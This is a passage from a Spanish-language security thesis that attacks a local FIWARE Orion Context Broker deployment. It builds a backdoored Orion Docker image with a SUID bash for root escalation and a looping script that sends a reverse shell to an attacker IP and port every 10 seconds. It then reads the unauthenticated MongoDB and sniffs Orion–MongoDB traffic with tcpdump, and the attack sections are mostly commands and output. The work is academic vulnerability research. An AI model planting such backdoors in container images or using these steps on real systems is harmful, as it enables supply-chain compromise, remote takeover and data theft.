Broker (A01) y los datos de contexto (A02) cumplen un rol principal en la plataforma Fiware,
se entiende que podrian ser considerados como los activos mas criticos en el escenario
planteado, y se decide identificar objetivos de ataque para estos activos.

4.2.5.1. Objetivos de ataque

El resultado del analisis de ataque para los activos Orion y datos de contexto queda
materializado en la siguiente tabla:

ID Activo Objetivo de ataque Propiedades de seguridad | Amenazas
afectadas

001 | Orion Suplantar la identidad de Autenticacién, No repudio, T02
Context Orion con una versién Integridad, Confidencialidad | T13
Broker modificada. T24

002 | Orion Acceso no autorizado. Autorizacion T30
Context
Broker

003 | Orion Escapar contexto Docker Autorizacion TO7
Context para acceder al host. T33
Broker

004 [ Orion Indisponibilizar Disponibilidad T27
Context funcionamiento.
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Broker

005 | Datos de Modificacion no autorizada. | Integridad, No repudio TO6
contexto T17

006 | Datos de Filtracién de datos. Confidencialidad T19
contexto T20

T24

T26

Tabla 14 — Identificacion de objetivos de ataque
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4.3. Experimentaciéon en caso de estudio / Trabajo de campo

En base al analisis de ataque realizado en 4.2.5.1, se propuso llevar a la practica un
subconjunto de los objetivos identificados, experimentando algunas vias factibles para
lograrlo. La decision de abordar sélo algunos objetivos estuvo marcada principalmente por el
alcance en tiempo determinado en conjunto con el Director de la tesis y la viabilidad practica
exitosa demostrada en los tipos de ataque implementados.

El analisis se encuentra focalizado en ciertos objetivos, tal que de ser materializados los
ataques, representan un impacto alto o critico en la plataforma, en términos de afectacion de
las propiedades de seguridad confidencialidad, integridad, autenticacion, autorizaciéon y no
repudio.

Ademas, aspectos que fueron tenidos en cuenta en la elaboracion de las estrategias de
ataques son:

e \Vectores de ataque explotados de forma remota o adyacentes a la misma red.

e Complejidad de ataque baja.

Es asi que en este apartado se estudian diferentes formas de lograr los objetivos de ataque
001, 002 y 006.

En la seccion 4.3.1 se estudia y pone en practica los objetivos O01 y O02. Por otra parte, en el
punto 4.3.2 se proporciona una posible via para lograr explotar el objetivo O06.

4.3.1. Modificacidén de imagen base docker de Orion

A continuacion se estudia un método posible para falsificar una instancia en ejecucién del
componente Orion Context Broker, mediante la generacion de una imagen docker de Orion con
contenido malicioso y su disponibilizacion a un docker registry confiable. Se demuestra que el
uso de dicha imagen falsa podria permitir acceso no autorizado remoto a la instancia en
ejecucidon asi como también una elevacién de privilegios a root. Asimismo, se demuestra que
es posible acceder de forma no autorizada al motor MongoDB y bases de datos alojadas
aprovechando la ausencia de control de acceso entre Orion y MongoDB. Se logra de esta
manera explotar los objetivos O01 y 002.

En primer lugar se presentan algunos conceptos que permitan conducir el proceso.
El proyecto fiware-orion (Fiware Orion, 2022) esta siendo desarrollado activamente por

Telefonica 1+D y es distribuido bajo la licencia AGPL-3.02® que permite modificar, distribuir y
usar comercialmente el software siempre y cuando se incluya el copyright original, una copia de

Z https://opensource.org/licenses/AGPL-3.0
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la licencia y se distribuya el codigo modificado o derivado, si el mismo es publicado u ofrecido a
entidades externas.

Como vimos en el punto 4.2.1 al describir el escenario de trabajo, Orion es distribuido como
una imagen docker. La misma puede descargarse directamente desde Docker Hub? mediante
el comando “docker pull fiware/orion'.

Otra alternativa seria construir la imagen de Docker directamente a partir del codigo fuente de
la aplicacion. Esta ultima opcion sera el enfoque considerado en este estudio.

4.3.1.1. Conceptos previos

En primer lugar analizamos conceptos que seran de importancia, para luego analizar las
condiciones que se tendran que dar para que los ataques sean exitosos.

4.3.1.1.1. Docker registry

Usualmente las imagenes docker son descargadas desde repositorios confiables (comunmente
llamados docker registry?®). Los mismos pueden ser publicos como el caso de Docker Hub,
privados en la nube como el caso de Azure DevOps o privados on-premises. En todos los
casos, es posible subir y descargar imagenes propias o de terceros.

Una organizacion puede utilizar las imagenes docker directamente o realizar wrappers de las
mismas para construir sus propias imagenes con sus propias etiquetas, lo cual podria obedecer
lineamientos de convencion de nombres y versionado. Asimismo software desarrollado
internamente puede ser distribuido como microservicio en una imagen docker.

Las imagenes docker siguen el siguiente formato de etiquetado:
[<registry host>:<port>/][<repository>/]J<image_name>[:<tag>].

Si no se especifica un tag, por defecto se toma el tag latest. En caso de omitir el servidor de
registry, se utiliza por defecto Docker Hub. También podria omitirse el repositorio.

En el caso de Orion dos posibles imagenes validas a descargar son:

e fiware/orion
e fiware/orion:3.1.0

2 https://hub.docker.com/r/fiware/orion
% Docker Registry: https://docs.docker.com/registry/

75



4.3.1.1.2. Servicios docker

La plataforma docker debe estar instalada en el servidor que hace de host. Si bien en el
escenario de trabajo la plataforma de docker utilizada sera instalada localmente, existen
algunas soluciones que se utilizan y que facilitan el despliegue de contenedores como por
ejemplo OKD o OpenShift.

4.3.1.1.3. Procesos de CI/CD

Durante los procesos de construccion y despliegue de software utilizando herramientas de
CI/CD, es usual que como parte de los artefactos resultantes, se construyan imagenes docker
las cuales son desplegadas (docker push) a repositorios docker registry locales y a sus
ambientes destino correspondientes.

4.3.1.2. Analisis de suplantacién de identidad

Un ataque de suplantacion de identidad exitoso de una imagen docker de Orion modificada, en
el escenario planteado, podria darse en cualquiera de los siguientes casos:

Caso | Descripcion Condiciones de éxito

1 Imagen docker modificada de El usuario fiware (https://hub.docker.com/u/fiware)
Orion incluyendo software deberia subir dicha version.
malicioso es distribuida a En tal . _ is0 de tal
Docker Hub bajo el nombre del n tal caso seria necesario un compromiso de ta

io fi ficial cuenta para que el ataque sea exitoso o una
usuario fiware oricial. modificacién intencional por parte de personal
interno de Fiware, lo cual queda por fuera del
alcance de este estudio.

2 Imagen docker modificada de El uso de dicha imagen se deberia promocionar o
Orion incluyendo software el ataque valerse de ciertas configuraciones de
malicioso es distribuida a prioridad a donde ir a buscar una imagen no
Docker Hub bajo el nombre de existente localmente.
otro usuario. Por ejemplo, si la organizacion utiliza cierta

convencién org1/orion y dicha imagen no se
encuentra en el docker registry local, entonces la
va a buscar a Docker Hub.

3 Imagen docker modificada de Es necesario contar con permisos de acceso al
Orion incluyendo software software de CI/CD utilizado, poder crear tareas,

contar con acceso a Internet para permitir la
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malicioso es construida como
parte de una tarea o pipeline en
un proceso de CI/CD.

descarga del codigo del proyecto desde github y
contar con credenciales de un usuario del docker
registry para desplegar la imagen resultante. En el
ultimo punto, no seria necesario conocer las
credenciales, pero si poder referenciarlas dentro de
la tarea CI/CD.

La imagen construida podria ser etiquetada como
fiware/orion asumiendo que se utilice la etiqueta
“latest” y maximizando las posibilidades de éxito en
la suplantacion.

4 Imagen docker modificada de
Orion incluyendo software
malicioso es construida
directamente en el servidor
host.

Dado que al ejecutar el comando ‘docker run
fiware/docker’ lo primero que se verifica es que
se cuente con la imagen descargada localmente,
un atacante interno podria abusar de ello y
sobrescribir la imagen legitima previamente, de
forma de evitar una descarga legitima.

Para que dicho ataque sea exitoso el usuario debe
contar con permisos de administracion en los
servicios de docker del host.

Tabla 15 — Anélisis de suplantacién de identidad Orion

4.3.1.2.1. Construccion de imagen docker fiware/orion local (sin modificaciones)

Se decidio seguir el caso 4 anterior ya que es el que mas se ajusta al escenario de trabajo

planteado en un ambiente local.

Los pasos para la construccién de una imagen de fiware/orion local sin modificar son:

$ cd fiware-orion/docker
$ sudo docker build -t fiware/orion .

$ git clone https://github.com/telefonicaid/fiware-orion/

Como resultado se genera la imagen de nombre fiware/orion, la cual se puede verificar con el

siguiente comando:

$ sudo docker images
REPOSITORY TAG IMAGE ID
fiware/orion latest 352e05c2b569

CREATED SIZE
7 weeks ago 853MB
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4.3.1.2.2. Utilizacion de imagen creada en escenario de trabajo

El objetivo es modificar un solo archivo en el escenario:
e .env?® de forma que referencie al tag “latest’. Como resultado:

env

# Orion variables

# MongoDB variables
MONGO_DB_PORT=27017
MONGO_DB_VERSION=4.4

# IoT Agent Ultralight Variables
ULTRALIGHT VERSION=1.16.2-distroless
IOTA NORTH PORT=4041

IOTA SOUTH PORT=7896

# Tutorial variables
TUTORIAL APP PORT=3000
TUTORIAL_DUMMY DEVICE PORT=3001

Figura 29 — Algunas variables de entorno en archivo .env de caso de estudio

El archivo docker-compose.yml? ya referencia a la imagen fiware/orion por lo que no es
necesario hacer ningin cambio mas.

image: fiware/orion:${ORION_VERSION}
4 hostname: orion
container_name: fiware-orion
depends_on:
- mongo-db
networks:
- default
[¢] expose:
- "S{ORION_PORT}"
ports:

[y

[ R I S I S S I I R S ]
o o =3 ta

]

Figura 30 — Referencia a versioén de Orion en archivo docker-compose.yml de caso de estudio

Como vemos no se ha hecho ninguna modificacién aun en la imagen, mas alla del cambio de
etiqueta y construccion local de la imagen. En los siguientes puntos se describe en detalle los
cambios a realizar:

e Inclusion de backdoor que permite escalar privilegios a root. El término “backdoor” se
refiere comunmente a un método o “puerta trasera” para lograr acceso no autorizado de
forma remota o escalar privilegios. En este caso particular, se trata de un binario
legitimo del sistema operativo con permisos modificados ubicado en un directorio

2 https://github.com/FIWARE /tutorials.loT-Agent/blob/5f7e7bcc1b80aeed1dbe66dd073ffdde245d1342/.env
27

https://github.com/FIWARE/tutorials.loT-Agent/blob/5f7e7bcc1b80aeed1dbe66dd073ffdde245d1342/docker-compose
yml
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particular que puede ser utilizado para elevar los permisos del usuario “nobody” con el
que ejecuta la imagen al usuario “root”.

e |[nstalacion de herramientas no proporcionadas en la imagen original; en particular se
instala un cliente mongo para acceder a la base de datos desde linea de comandos.

e Inclusion de un proceso en ejecucién que cada 10 segundos envia una reverse shell a
una IP y puerto de control del atacante. El término “reverse shell’ hace referencia a la
creacién de una shell o intérprete de comandos remota iniciada por parte del equipo
victima hacia el atacante. Esto la hace muy potente en entornos restringidos o no
accesibles de forma directa, dado que es el equipo o software victima quien se conecta
al atacante y en la mayoria de los casos dichas conexiones se encuentran habilitadas.

4.3.1.3. Analisis de escalada de privilegios local

4.3.1.3.1. Adicion de binario SUID /usr/local/bin/bash

Tomando como base el archivo Dockerfile?® del proyecto fiware-orion se realizan las siguientes
adiciones de forma de colocar una copia del binario /bin/bash en /usr/local/bin con la flag SUID
en frue. Esto habilita que el binario pueda ejecutar en tiempo de ejecucion con permisos
efectivos del usuario root.

RUN cp /bin/bash /usr/local/bin && \
chmod +s /usr/local/bin/bash

Por mas detalles ver el Anexo 1 donde se detalla el archivo Dockerfile con las modificaciones
realizadas resaltadas.

Se construye la imagen tal cual lo comentado en 4.3.1.2.1:

$ cd fiware-orion/docker
$ sudo docker build -t fiware/orion .

Luego desplegamos el escenario 1 de la siguiente manera habiendo clonado el repositorio del
tutorial y realizado el cambio descrito en 4.3.1.2.2:

$ cd tutorials.IoT-Agent
$ sudo ./services start

28 https://github.com/telefonicaid/fiware-orion/blob/3.1.0/docker/Dockerfile
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Stopping containers
arting four containers 4 , Tutorial and a MongoDB database.
is the context broker

- is configured for the Ultra ht Protocol
- Tutorial acts as a series of dummy IoT Sensors over HTTP

Creating db-mongo ...
Creating fiware-orion b
Creating fiware-iot-agent ...
Creating fiware-tutorial

X Waiting for MongoDB to be available

Adding appropriate MongoDB indexes for
Adding appropriate MongoDB indexes for

2 Waiting for to be availlable
b 4 Loading context data

X waiting for to be available

STATUS

Up 5 seconds (health: starting) 5 .0:3000-3001->3000-3001/tcp, 3000-3001->3000-3001/tcp
fiware-iot-agent Up 6 seconds (healthy) . .0:4041->4041/tcp, 041->4041/tcp, 0.0.0.0:7896->7896/tcp, :::7896->7896/tcp, 4061/tcp
fiware-orion Up 6 seconds (healthy) .0:1026->1026/tcp, 026->1026/tcp

Now open http://localhost:3000/device/monitor

Figura 31 — Output de consola al levantar caso de estudio

Si accedemos a http://localhost:1026/version y http://localhost:1026/v2/entities podemos ver
que Orion Context Broker esta ejecutando correctamente y se despliegan las entidades
previamente cargadas.

JSON  RawData  Headers
Save Copy Collapse All Expand All
ori
3.1.09-next"
@d, @ h, 2 m, 37 s"
7793319846 17e5897b063f3cdecab3d2338Fb32e"

compile time: Wed Aug 1B 23:48:84 UTC 2821"
ompiled by: root
ompiled in: G646cB956abea

release date: Wed Aug 18 23:40:84 UTC 2082

xBG6_ 64"

fiware-aorion.rtfd. io/"

libcurl/7.61.1 Open5SL/1.1.1g z1ibs1.2.11 nghttp2/1.33.0
@.9.70"

1.1

1.1.8"

1.17.4"

1.17.4"

Figura 32 — Comprobacién de estado y version de Orion en caso de estudio
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http://localhost:1026/version
http://localhost:1026/v2/entities

JSON  RawData  Headers

v 0:

id:

type:
v address:
type:

v value:
streetAddress:
addressRegion:
addressLocality:
postalCode:

metadata:
v location:
type:

v value:
type:

v coordinates:
o:
1:
metadata:
¥ name:
type:
value:

D localhost:1026/v2/entities

Save Copy Collapseall Expand All 7

urn:ngsi-ld:5tore: 001"

Store”

PostalAddress"

Bornholmer Strafe 65
Berlin"
Prenzlauer Ber
18439"

Fa
)

=]

geo:json”

Point"

13.3986

52.5547

{}
Text"

Bisebricke Einkauf"

Figura 33 — Comprobacion de endpoint de entidades de Orion en caso de estudio

Si entramos a la instancia de docker de fiware-orion de forma interactiva por medio de una shell
bash, vemos que por defecto el usuario actual es un usuario de privilegios minimos nobody (tal
cual puede observarse en el archivo Dockerfile?®. Es mas, los Unicos usuarios del sistema son

root y nobody como se puede ver a continuacion:

$ sudo docker container 1s

CONTAINER ID  IMAGE COMMAND CREATED l STATUS

fiware/tutorials.context-provider "/nodejs/bin/node ./." 4 minutes Up 4 minutes (healthy)
49684b2684f3 fiware/iotagent-ul:1.16.2-distroless "/nodejs/bin/node ./." 4 minutes Up 4 minutes (healthy)
PLEGERIGEWN fiware/orion:latest "Jusrflocal/binforio.." 4 minutes Up 4 minutes (healthy)

293a2bc392a5  mongo:4.4 j

"docker-entrypoint.s.." 4 minutes Up 4 minutes (healthy)

Figura 34 — Listado de contenedores Docker en ejecucion

$ sudo docker exec -it 2e6cda8c@adl /bin/bash

2 https://github.com/telefonicaid/fiware-orion/blob/3.1.0/docker/Dockerfile#L 192
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bash-4.4% id

uld=655341 nohodv) gld=65534(nobody) groups=65534(nobody)
bash-4.45 1s -al fusr/local/bin/bash

-rwsr-sr-x 1 root root 1156784 Aug 19 83:28 fusr/local/bin/bask

bash-4.45 cat Jetc/passwd

root:x:0:0:root: froot: /sbin/nologin

nobody 5534:65534:Kernel Overflow User:/:/sbin/nologin
bash-4.45 ]

Figura 35 — Comprobacién de ubicacién de binario SUID en imagen docker modificada

Si ejecutamos el siguiente comando somos root:

$ /usr/local/bin/bash -p

bash-4.45 fusr/local/bin/bash -p
bash-4.4# id

uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(root) groups=0(root)
bash-4.4# whoami

pasn-4.4% ]

Figura 36 — Comprobacién de escalada de privilegios mediante binario SUID

4.3.1.3.2. Adicién de proceso en background que retorna una reverse shellalP y
puerto de un atacante de forma periédica

A diferencia del punto anterior, este caso es un poco mas complejo dado que requiere realizar
modificaciones en el punto de entrada de la imagen de forma de permitir la ejecucion de un
proceso en background. Esto conlleva el desafio de realizar las modificaciones de forma que no
se altere el comportamiento esperado de los servicios de Orion y a la vez se adicione el
comportamiento deseado por el atacante.

Se realizan las siguientes modificaciones al archivo Dockerfile original. Por mas detalles ver el
Anexo 1 donde se muestra el archivo Dockerfile con las modificaciones realizadas resaltadas.

ADD

ADD

RUN

orion-services /usr/local/bin/
orion-background /usr/local/bin/

chmod +x /usr/local/bin/orion-services && \
chmod +x /usr/local/bin/orion-background

Se adicionan los siguientes archivos a la construccion de la imagen:
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e /usr/local/bin/orion-services

#!/bin/bash

/usr/local/bin/orion-background &
/usr/bin/contextBroker -fg -multiservice -ngsivlAutocast -disableFilelog $@

e /usr/local/bn/orion-background

#!/bin/bash

while :
do
# loop infinitely
# try to connect back to an attacker listener every 10 seconds

/usr/local/bin/bash -p -i >& /dev/tcp/172.17.0.1/1111 0>&1 2>/dev/null &
sleep 10
done

Por ultimo se modifica el entrypoint de la imagen de docker original por:

ENTRYPOINT ["/usr/local/bin/orion-services" ]

Se construye la imagen tal cual lo comentado en 4.3.1.2.1:

$ cd fiware-orion/docker
$ sudo docker build -t fiware/orion .

Luego desplegamos el escenario 1 de la siguiente manera habiendo clonado el repositorio del

tutorial y realizado el cambio descrito en 4.3.1.2.2:

$ cd tutorials.IoT-Agent
$ sudo ./services start

Como resultado de disponibilizar la nueva imagen de docker modificada, el atacante
escuchando en la IP 172.17.0.1 y puerto 1111 logra acceso remoto a la instancia de docker en

ejecucién mediante una reverse shell.

$ nc -nvlp 1111
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lictenina nn A A A A 1111

Connection received on 172.18.1.3 56054

hostname

orion

id

uild=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(root) groups=08(root)
whoami

root

script /dev/null -c bash

Script started, file is /dev/null
bash-4.45 ip a

ip a
1: lo: <LOOPBACK,UP,LOWER_UP= mtu 65536 qdisc noqueue state UNKNOWN group default glen 1088
link/loopback 00:00:00:00:00:00 brd @0:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
1: ethe@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc noqueue state UP group default
link/ether ©2:42:ac:12:01:03 brd ff:ff:ff:ff:ff:ff link-netnsid ©
inet brd 172.18.1.255 scope global ethe
valid_1ft forever preferred_lft forever
bash-4.45 ||

Figura 37 — Comprobacién de recepcion de reverse shell a listener de atacante

bash-4.45 ping -cl1 www.google.com.uy

ping -cl www.google.com.uy

PING www.google.com.uy (172.217.173.131) 56(84) bytes of data.

64 bytes from eze@4s513-in-f3.1e180.net (172.217.173.131): icmp_seqg=1 ttl=114 time=14.6 ms

--- www.google.com.uy ping statistics ---
1 packets transmitted, 1 0% packet loss, time Oms

rtt min/avg/max/mdev = 14.620/14.620/14.620/0.000 ms
bash-4.45% i

Figura 38 — Comprobacién de conectividad a Internet desde contenedor Orion

Comentarios importantes:

e Vale la pena destacar que la IP 172.17.0.1 en este caso es la IP asignada al host por
Docker. No obstante se puede comprobar que la imagen tiene salida a Internet y por
tanto la imagen de Orion seria capaz de iniciar una conexién a un servidor privado en
Internet (Virtual Private Server o VPS ) de control por parte del atacante.

e Una forma mas elegante y eficiente de disponibilizar un proceso que corre cada cierto
tiempo es con un cron de Linux; sin embargo en base a algunas pruebas realizadas se
vio que algun paquete del sistema operativo falta y es probable que haya sido eliminado
durante el final de la creacion de la imagen en la fase de cleanup. No se pudo investigar
en detalle este punto.

e Tener presente que una vez obtenido el acceso, el atacante tiene conectividad a las

demas imagenes docker de la misma subred. Podria de esta forma realizar un escaneo
de equipos y puertos e intentar moverse de forma lateral a lo largo de dicha subred.
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4.3.1.4. Analisis de acceso a base de datos MongoDB sin autenticacion

4.3.1.4.1. Instalar cliente mongo en imagen docker de Orion

Orion utiliza un driver de mongodb para conectarse a la base de datos®. Vale la pena destacar
que el acceso a la base de datos se realiza sin autenticacion, por tanto contando con un cliente
mongo y conociendo la IP de la instancia de MongoDB, se puede acceder. Sin embargo, desde
el sistema operativo no se cuenta con el cliente mongo instalado.

El objetivo es instalar el cliente de mongo en la creacién de la imagen y utilizar el acceso
obtenido mediante el punto 4.3.1.3.2 para lograr acceso a la base de datos de Orion.

Se realizan los siguientes agregados al archivo Dockerfile original. Por mas detalles ver el
Anexo 1 donde se muestra el archivo Dockerfile con las modificaciones realizadas resaltadas.

RUN yum -y install nano && \

yum -y install wget && \

wget
https://repo.mongodb.org/yum/redhat/8/mongodb-org/5.0/x86_64/RPMS/mongodb-org-shell-5.0.2-1.
el8.x86_64.rpm -0 /tmp/mongodb-org-shell-5.0.2-1.e18.x86_64.rpm && \

yum -y install /tmp/mongodb-org-shell-5.0.2-1.e18.x86_64.rpm

Se construye la imagen tal cual lo comentado en 4.3.1.2.1:

$ cd fiware-orion/docker
$ sudo docker build -t fiware/orion .

Luego desplegamos el escenario 1 de la siguiente manera habiendo clonado el repositorio del
tutorial y realizado el cambio descrito en 4.3.1.2.2:

$ cd tutorials.IoT-Agent
$ sudo ./services start

Por defecto la subred en la que estan las imagenes docker del escenario es fiware_default
(Figura 39) y Cada imagen docker tiene asignado un hostname el cual es accesible dentro de la
subred. En el caso de MongoDB es mongo-db (Figura 40).

%0 https://github.com/telefonicaid/fiware-orion/blob/3.1.0/docker/Dockerfile#L87
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131 networks:
+ 132 default:
133 ipam:
134 config:
135 - subnet: 172.18.1.0/24

Figura 39 — Definicion de red en archivo docker-compose.yml de caso de estudio®’

166 mongo-db:
1a7 image: mongo:${MONGO_DB_VERSION}
« [108 hostname: mongo-db
109 container_name: db-mongo
11e expose:
111 - "${MONGO_DB_PORT}"
112 ports:
113 - "${MONGO_DB_PORT}:${MONGO_DB_PORT}" # localhost:27017

Figura 40 — Detalle de definicién de configuracion de instancia de MongoDB en caso de estudio®?

Ahora bien, pensando en el caso en que el atacante ya cuenta con un acceso mediante una
reverse shell, puede ejecutar los siguientes comandos para filtrar informacion de contexto:

$ ping -c1 mongo-db
$ mongo --host mongo-db

bash-4.4% ping -c1 mongo-db

ping -c1 mongo-db

PING mongo-db (172.18.1.2) 56(84) bytes of data.

64 bytes from db-mongo.fiware_default (172.18.1.2): icmp_seq=1 ttl=64 time=0.102 ms

--- mongo-db ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time @ms
rtt minfavg/max/mdev = 0.102/0.102/0.102/0.0808 ns

Figura 41 — Comprobacién de conectividad con instancia de MongoDB en la red del caso de estudio

31

https://github.com/FIWARE/tutorials.loT-Agent/blob/5f7e7bcc1b80aeed1dbe66dd073ffdde245d1342/docker-compose

ym#L132
32

https://github.com/FIWARE/tutorials.loT-Agent/blob/5f7e7bcc1b80aeed1dbe66dd073ffdde245d1342/docker-compose
.yml#L108
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bash-4.4% mongo --host mongo-db

mongo --host mongo-db

MongoDB shell version v5.8.2

connecting to: mongodb://mongo-db:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID e166981-7675-451a-aed6-eacO571db36b") }
MongeDB server version: 4.4.8

WARNING: shell and server versions do not match

Warning: the "mongo" shell has been superseded by "mengosh",

which delivers improved usability and compatibility.The "mongo" shell has been deprecated and will be removed in
an upcoming release.

We recommend you begin using "mongosh".

For installation instructions, see

https://docs.mongodb.com/mongodb-shell/install/

lcome to the MongoDB shell.

For interactive help, type "help".

For more comprehensive documentation, see
https://docs.mongodb.com/

Questions? Try the MongoDB Developer Community Forums
https://community.mengoedb.com

The server generated these startup warnings when booting:
2021-10-13T02:40:52.283+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger stor
2021-10-13T02:40:52.757+00:00: Access control is not enabled for the database. Read and write access to

Enable MongoDB's free cloud-based monitoring service, which will then receive and display
metrics about your deployment (disk utilization, CPU, operation statistics, etc).

The monitoring data will be available on a MongoDB website with a unique URL accessible to you
and anyone you share the URL with. MongoDB may use this information to make product
improvements and to suggest MongoDB products and deployment options to you.

To enable free monitoring, run the following command: db.enableFreeMenitoring()
To permanently disable this reminder, run the following command: db.disableFreeMonitoring()

Figura 42 — Comprobacién de acceso a instancia de MongoDB sin autenticacién en caso de estudio

Es posible ejecutar algunos comandos:

> show dbs;
> use orion;
> show collections;

> show dbs;
shshow dbs;
admin

config
iotagentul
local

orion
orion-openiot
session
sessions

test

> use orion;
ususe orion;
switched to db orion
= show collections;
shshow collection
entities
reiistrations

>

00000000

Figura 43 — Listado de bases de datos disponibles en la instancia de MongoDB del caso de estudio
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Desplegamos 3 registros de la coleccion “entities”™

> db["entities"].find().limit(3);

db["entities"].find().1limit(3);

"_id" : { "id" : "urn:ngsi-ld:Store:@81", "type" : "Store”, "servicePath" : "/" }, "attrNames" : [ '
2858.3317206, "modDate" : 1634092858.3317206, "value" : { "streetAddress" : "Bornholmer Strafe 65", "

[ 13, "location” : { "type" : "geo:json", "creDate" : 1634092858.3317206, "modDate" : 1634092858.3317206,
: { "type" : "Text", "creDate" : 1634092858.3317206, "modDate" : 1634092858.3317206, "value" : "Bdsebricke Ei
ocation” : { "attrName" : "location”, "coords” : { "type" : "Point", "coordinates" : [ 13.3986, 52.5547 ] } }
{ "_id" : { "id" : "urn:ngsi-ld:Store:@02", "type" : "Store”, "servicePath" : "/" }, "attrNames" : [ "address
2858.3406405, "modDate" : 1634092858.3406405, "value" : { "streetAddress” : "Friedrichstrafe 44", "addressReg
"location” : { "type" : "geo:json", "creDate" : 1634092858.3406405, "modDate" : 1634092858.3406405, "value" :
e" : "Text", "creDate" : 1634092858.3406405, "modDate" : 1634092858.3406405, "value" : "Checkpoint Markt", "m
{ "attrName" : "location”, "coords" : { "type" : "Point", "coordinates” : [ 13.3983, 52.5075 ] } }, "lastcCor
{ "_id" : { "id" : "urn:ngsi-ld:Store:003", "type" : "Store", "servicePath" : "/" }, "attrNames" : [ "address
2858.3414044, "modDate" : 1634092858.3414044, "value" : { "streetAddress" : "Muhlenstrasse 10", "addressRegio
}, "location" : { "type" : "geo:json", "creDate" : 1634092858.3414044, "modDate" : 1634092858.3414044, "value
type" : "Text", "creDate" : 1634092858.3414044, "modDate" : 1634092858.3414044, "value" : "East Side Galleria
on" : { "attrMame" : "location", "coords" : { "type" : "Point", "coordinates" : [ 13.4447, 52.5831 ] } }, "la

>

Figura 43 — Ejemplo de obtencion de registros de la colecciéon “entities” base de datos “orion”

4.3.2. Inspeccion de trafico Orion - MongoDB

En este apartado se brinda una posible técnica para filtrar datos de contexto en el escenario,
logrando explotar de esta manera el objetivo O06.

Docker ofrece la posibilidad de que las imagenes se puedan conectar a subredes existentes.
En particular utilizando la caracteristica network containers® habilita que un contenedor
comparta el stack de red con otro contenedor. Esto particularmente es lo que utilizaremos para
poner en escucha con tcpdump el trafico entre las instancias de Orion y MongoDB.

Creamos una imagen de docker de tcpdump de la siguiente forma®*:

$ sudo docker build -t tcpdump - <<EOF

FROM ubuntu

RUN apt-get update && apt-get install -y tcpdump
CMD tcpdump -i etho

EOF

Luego corremos la imagen de tcpdump recién creada especificando el contenedor de Orion
como parametro de la opcion network:container.

$ sudo docker ps

3 https://docs.docker.com/engine/reference/run/#network-container
3 https://rmoff.net/2019/11/29/using-tcpdump-with-docker/
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ONTAINER ID  IMAGE Jr" HAH D EATED STATUS

3ddaze796f1e  mongo s 42 minutes ago Up 42 minutes

e861061fad1a ware/tutorials.context-provider

143801cb106a iware/orion:latest
04811ed4e5819 ware/iotagent-ul:1.16.2-distroless
mongo: 4.4 docker - E'I'Itl".’p[llrlt,4

[ N

Figura 44 — Obtencién de identificador de contenedor de Orion en ejecucion

hours ag Up 2 hours
hours Up 2 hours
hours Up 2 hours
hours ag Up 2 hours

(healthy)
(healthy)
(healt
(healt

Especificamos un filtro en fcpdump indicando que queremos escuchar trafico en el puerto

27017 de mongodb siendo intercambiada con Orion.

$ sudo docker run -it --net=container:143801cbl@6a tcpdump tcpdump port 27017 -A

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth@®, link-type EN18MB (Ethernet), capture size 262144 bytes

Figura 45 — Contenedor tcpdump en ejecucion

Si por ejemplo desde un navegador web accedemos a http://localhost:1026/v2/entities podemos

ver el trafico en claro intercambiado entre Orion y MongoDB:

04:22:25.582573 IP (BRI TINAUTITS I MRSP T FUAMTRUNWEEFT: Flags [P.], seq 5469:12709, ack 2075, win 501, options [nop,nop,TS val 3157816621 ecr 4041744540], length 7240
V... L.

- . e. tore..servicePath cof] attrNames.®.
.address. .cre 11 e ess. Stra..e 65..addressRegion.
. .mdNames . -location. oY 5 5 Point..coordinates
-modDate NV e .8..sebr..cke Einkauf..ndNanes. -.cre e o location.a....attrName
h.Gl@. lastCorrelator.%...ff833cd8-2bce-11ec-b4da-6242ac120103...1 i
.name...attr ....address. e PostalAddress..creDate...

.ndNames o 1 type. ...geo:json..creDate o o ...Point..coordinates

.modDat: . e Checkpoint Markt..mdNames e e . e .location.a. attrNam

.lastCorre o 2bce-11ec-bada-0242ac120163. . .2. id.F. 8 ore:@03..type. Store..se
PostalAddress. .creDate. ol e .streetAddress.....M..hlenstrasse 10..addressRegion.|

.address..1.
addressLoca
*@.1
B 'lccatl()n

Strv\CcFath.

...location..
cePath.

2.
drichshain. .postalCod . e . i e. ...geo:json..creDate R .value .Point. .coordinates.

.name.b....type. . e . .East side Galleria..mdNames. .cre . .A.location.a.
.Point..coordinates. .1..0..e@3@Q. - ..lastCorrelator ff033cd8-2bce-11ec-bada-0242ac120103 5
.address..1. . address. e.....PostalAddress..creDate .
n. addr:ss\_ocahty . e . e . type. ...geo:json..creDate
dNames . .name.b....type Text..creDate V. .Tower Tr..delmarkt..mdNames
=....typ .Point..coordinates. *@.1. 5020 e ffo33cds-2bce-11ec-bada-0242ac120103 i
attrNames.D....0. .location. maxCapacity..2 .3. . . geo: json..creDate.
maxCapacity.V....typ Integer..(rebate. 3 e VA 5 @.mdNames. .
-type Relationship..credate Y ngsi-1d: 01. .ndNames
.location..coords. .Point..coordinates.
s:rvxc:Fath,
d s000ddoc 5
.creDate.b e.b. WAL wall Unlt 1..mdNames .
Y modDat: b.... location..coords
K d.....urn:ngs e i servicePath...../...attrNames.
eo: json..creDate Y.A e A .....Point..coordinates......0..b.M%.%@.1."".: FII@

Y.A.modDate. .Y.A.value Wall Unit 2. Md’lancs . Pt Relationship..creD

.location.a....attrName. ...location..coords e Po\.nt, .coordinates... 0.

c8-2bce-11ec-9c70-0242ac120103...7. a8ooo ol i helf:unitee4..type elf..servicePath /-..attrNames.D....0. .location. .

location o j Y.A.nodDate Y 2 e.....Point..coordinates.
.Y.A.nodDate. &...V. & e
A.modDate. V.A.value Name 5 LY.A. 5 5 Name. ...location..coords.
A....{.@@....lastCorrelator.%. ..ffo793c8- zb< 11ec-9c70-0242ac120103. . . 5 d. 8 elf:unt .servicepPath.
axCapacity..2.....name..3 ...refStore...attrs .location. o json..creDate Y.A, s o .Point
.maxCapacity.v.. nteger..creDate..®...V.A.modDate..0...Y. e i@.mdNames 5 .Tex e ..0...Y.A.modDate

.ref
